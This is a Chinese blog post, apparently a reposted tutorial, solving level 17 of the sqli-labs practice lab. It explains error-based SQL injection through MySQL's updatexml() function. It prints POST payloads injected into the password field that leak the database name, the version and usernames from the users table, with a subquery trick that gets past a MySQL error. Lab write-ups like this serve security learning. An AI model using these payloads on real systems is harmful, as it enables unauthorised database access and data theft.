sql注入-sqli-labs第17关

sqli-labs第17关

updatexml使用

第17关的关键函数为updatexml函数:

UpdateXML(xml_target, xpath_expr, new_xml)

其中,xml_target作用为目标xml,xpath_expr作用为xpath语法,new_xml为要替换掉的xml内容,所以该函数能够用于注入的原因为,当xpath语法不合规时,会报错,实现报错注入。

updatexml(0,concat(0x7e, (select col2 from tableA limit 0,1),1)

该函数就会导致updatexml函数报错,实现,报错注入。

报错注入

观察本题可发现在password处存在注入点

image-20211110205320787

使用updataxml语法进行注入

uname=Dhakkan&passwd=' and updatexml(0,concat(0x7e, database(), 0x7e), 1)-- -

通过post提交以上请求,可以爆出当前使用的数据库

image-20211110205950908

uname=Dhakkan&passwd=' and updatexml(0,concat(0x7e, version(), 0x7e), 1)-- -

通过以上post注入语句,可以爆出当前数据库版本号:

image-20211110210033824

扫描二维码关注公众号,回复: 13211878 查看本文章

报错解决:

You can't specify target table 'users' for update in FROM clause

该报错原因时注入时不能再updatexml中直接加入表名,我们可以对查询出来的结果再进行一次select 从而绕过这个报错,代码为:

updatexml(0,concat(0x7e, (select username from (select username from users limit 0,1)a), 0x7e),1;

报错解决。

猜你喜欢

转载自blog.csdn.net/weixin_46784800/article/details/121257947